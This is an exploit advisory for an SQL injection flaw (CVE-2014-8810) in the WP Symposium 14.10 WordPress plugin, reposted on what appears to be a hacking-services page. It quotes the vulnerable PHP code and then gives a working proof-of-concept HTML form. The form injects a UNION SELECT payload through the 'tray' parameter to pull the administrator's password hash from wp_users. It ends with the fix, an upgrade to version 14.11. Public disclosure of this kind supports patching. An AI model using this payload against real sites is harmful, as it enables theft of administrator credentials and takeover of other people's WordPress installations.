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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WP Symposium 14.10 SQL Injection
# Date: 22-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/wp-symposium.14.10.zip
# Category: webapps
# CVE: CVE-2014-8810
  
1. Description
  
$_POST['tray'] is not escaped.

File: wp-symposium\ajax\mail_functions.php
$tray = $_POST['tray'];
$unread = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->base_prefix.'symposium_mail'." WHERE mail_from = ".$mail->mail_from." AND mail_".$tray."_deleted != 'on' AND mail_read != 'on'");

http://security.szurek.pl/wp-symposium-1410-multiple-xss-and-sql-injection.html
  
2. Proof of Concept

Message ID must be one of your sended message (you can check this on user mailbox page -> sent items -> page source -> div id="this_is_message_id" class="mail_item mail_item_unread")

<form method="post" action="http://wordpress-instalation/wp-content/plugins/wp-symposium/ajax/mail_functions.php">
    <input type="hidden" name="action" value="getMailMessage">
    Message ID: <input type="text" name="mid"><br />
    SQL: <input type="text" name="tray" value="in_deleted = 1 UNION (SELECT user_pass FROM wp_users WHERE ID=1) LIMIT 1, 1 -- ">
    <input type="submit" value="Inject">
</form>

Returned value will be between "[split]YOUR_RETURNED_VALUE[split]"
  
3. Solution:
  
Update to version 14.11
http://www.wpsymposium.com/2014/11/release-information-for-v14-11/
https://downloads.wordpress.org/plugin/wp-symposium.14.11.zip